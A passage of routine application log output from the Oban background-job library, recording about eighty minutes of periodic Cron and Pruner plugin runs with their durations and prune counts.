{"source":"oban","duration":140,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:42:01.313 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:42:31.316 [info] {"source":"oban","duration":1585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:00.698 [info] {"source":"oban","duration":141,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:43:01.319 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:43:31.322 [info] {"source":"oban","duration":1601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:00.699 [info] {"source":"oban","duration":157,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:44:01.325 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:44:31.327 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:00.700 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:45:01.330 [info] {"source":"oban","duration":1543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:45:31.332 [info] {"source":"oban","duration":2068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:00.701 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:46:01.336 [info] {"source":"oban","duration":2957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:46:31.339 [info] {"source":"oban","duration":2139,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:00.702 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:47:01.342 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:47:31.344 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:00.703 [info] {"source":"oban","duration":129,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:48:01.346 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:48:31.349 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:00.704 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:49:01.352 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:49:31.355 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:00.705 [info] {"source":"oban","duration":152,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:50:01.357 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:50:31.359 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:00.706 [info] {"source":"oban","duration":149,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:51:01.360 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:51:31.362 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:00.707 [info] {"source":"oban","duration":140,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:52:01.364 [info] {"source":"oban","duration":1598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:52:31.367 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:00.708 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:53:01.369 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:53:31.371 [info] {"source":"oban","duration":2073,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:00.709 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:54:01.374 [info] {"source":"oban","duration":1576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:54:31.377 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:00.710 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:55:01.380 [info] {"source":"oban","duration":2029,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:55:31.383 [info] {"source":"oban","duration":1646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:00.711 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:56:01.386 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:56:31.389 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:00.712 [info] {"source":"oban","duration":170,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:57:01.391 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:57:31.394 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:00.714 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:58:01.397 [info] {"source":"oban","duration":1949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:58:31.400 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:00.714 [info] {"source":"oban","duration":129,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:59:01.403 [info] {"source":"oban","duration":1949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:59:31.406 [info] {"source":"oban","duration":1867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:00.715 [info] {"source":"oban","duration":136,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:00:01.409 [info] {"source":"oban","duration":2089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:00:31.412 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:00.716 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:01:01.415 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:01:31.418 [info] {"source":"oban","duration":1683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:00.717 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:02:01.421 [info] {"source":"oban","duration":2126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:02:31.424 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:00.719 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:03:01.427 [info] {"source":"oban","duration":2060,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:03:31.430 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:00.720 [info] {"source":"oban","duration":158,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:04:01.433 [info] {"source":"oban","duration":1759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:04:31.436 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:00.721 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:05:01.439 [info] {"source":"oban","duration":1749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:05:31.440 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:00.722 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:06:01.443 [info] {"source":"oban","duration":1621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:06:31.446 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.723 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:07:01.449 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:31.451 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.725 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:08:01.454 [info] {"source":"oban","duration":2315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:31.457 [info] {"source":"oban","duration":2065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.725 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:09:01.460 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:31.463 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.726 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:10:01.466 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:31.469 [info] {"source":"oban","duration":1672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.727 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:11:01.472 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:31.475 [info] {"source":"oban","duration":1690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:00.728 [info] {"source":"oban","duration":201,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:12:01.478 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:12:31.481 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:00.729 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:13:01.484 [info] {"source":"oban","duration":2262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:13:31.488 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:00.731 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:14:01.490 [info] {"source":"oban","duration":2164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:14:31.493 [info] {"source":"oban","duration":1513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:00.732 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:15:01.496 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:15:31.499 [info] {"source":"oban","duration":2192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:00.733 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:16:01.502 [info] {"source":"oban","duration":2251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:16:31.505 [info] {"source":"oban","duration":1652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:00.734 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:17:01.508 [info] {"source":"oban","duration":2085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:17:31.511 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:00.735 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:18:01.514 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:31.517 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.736 [info] {"source":"oban","duration":159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:19:01.519 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:31.521 [info] {"source":"oban","duration":1719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.737 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:20:01.524 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:31.527 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.738 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:21:01.530 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:31.532 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.739 [info] {"source":"oban","duration":281,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:22:01.534 [info] {"source":"oban","duration":1545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:31.536 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.740 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:23:01.538 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:31.541 [info] {"source":"oban","duration":1725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.741 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:24:01.544 [info] {"source":"oban","duration":2078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:31.547 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.742 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:25:01.550 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:31.553 [info] {"source":"oban","duration":1572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.743 [info] {"source":"oban","duration":189,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:26:01.556 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:31.558 [info] {"source":"oban","duration":1535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.744 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:27:01.560 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:31.563 [info] {"source":"oban","duration":1735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.745 [info] {"source":"oban","duration":190,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:28:01.566 [info] {"source":"oban","duration":1895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:31.569 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.746 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:29:01.572 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:31.575 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.747 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:30:01.578 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:31.581 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.748 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:31:01.584 [info] {"source":"oban","duration":2014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:31.587 [info] {"source":"oban","duration":1629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.750 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:32:01.590 [info] {"source":"oban","duration":2048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:31.593 [info] {"source":"oban","duration":1573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.754 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:33:01.596 [info] {"source":"oban","duration":1582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:31.599 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:00.755 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:34:01.602 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:34:31.604 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:00.756 [info] {"source":"oban","duration":162,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:35:01.607 [info] {"source":"oban","duration":2140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:35:31.610 [info] {"source":"oban","duration":1792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:00.757 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:36:01.613 [info] {"source":"oban","duration":1637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:36:31.616 [info] {"source":"oban","duration":1653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:00.758 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:37:01.619 [info] {"source":"oban","duration":2118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:37:31.622 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:00.759 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:38:01.624 [info] {"source":"oban","duration":2083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:38:31.627 [info] {"source":"oban","duration":2132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:00.760 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:39:01.630 [info] {"source":"oban","duration":1717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:39:31.633 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:00.761 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:40:01.636 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:40:31.639 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.762 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:41:01.642 [info] {"source":"oban","duration":1922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:31.645 [info] {"source":"oban","duration":2253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:00.764 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:42:01.648 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:42:31.651 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:00.765 [info] {"source":"oban","duration":208,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:43:01.654 [info] {"source":"oban","duration":2121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:43:31.657 [info] {"source":"oban","duration":1828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:00.766 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:44:01.660 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:44:31.663 [info] {"source":"oban","duration":1977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:00.767 [info] {"source":"oban","duration":176,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:45:01.666 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:45:31.669 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:00.768 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:46:01.672 [info] {"source":"oban","duration":1845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:46:31.675 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:00.769 [info] {"source":"oban","duration":249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:47:01.677 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:47:31.680 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:00.770 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:48:01.683 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:48:31.686 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:00.772 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:49:01.689 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:49:31.690 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:00.773 [info] {"source":"oban","duration":184,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:50:01.691 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:50:31.693 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:00.774 [info] {"source":"oban","duration":159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:51:01.695 [info] {"source":"oban","duration":1732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:51:31.696 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:00.775 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:52:01.699 [info] {"source":"oban","duration":2127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:52:31.700 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:00.776 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:53:01.702 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:53:31.704 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:00.777 [info] {"source":"oban","duration":232,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:54:01.704 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:54:31.706 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:00.779 [info] {"source":"oban","duration":445,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:55:01.708 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:55:31.709 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:00.779 [info] {"source":"oban","duration":159,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:56:01.710 [info] {"source":"oban","duration":510,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:56:31.711 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:00.780 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:57:01.712 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:57:31.713 [info] {"source":"oban","duration":547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:58:00.782 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:58:01.714 [info] {"source":"oban","duration":1131,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 15:58:31.716 [info] {"source":"oban","duration":532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:00.783 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 15:59:01.717 [info] {"source":"oban","duration":929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:59:31.719 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:00.783 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:00:01.720 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:00:31.722 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:01:00.785 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:01:01.724 [info] 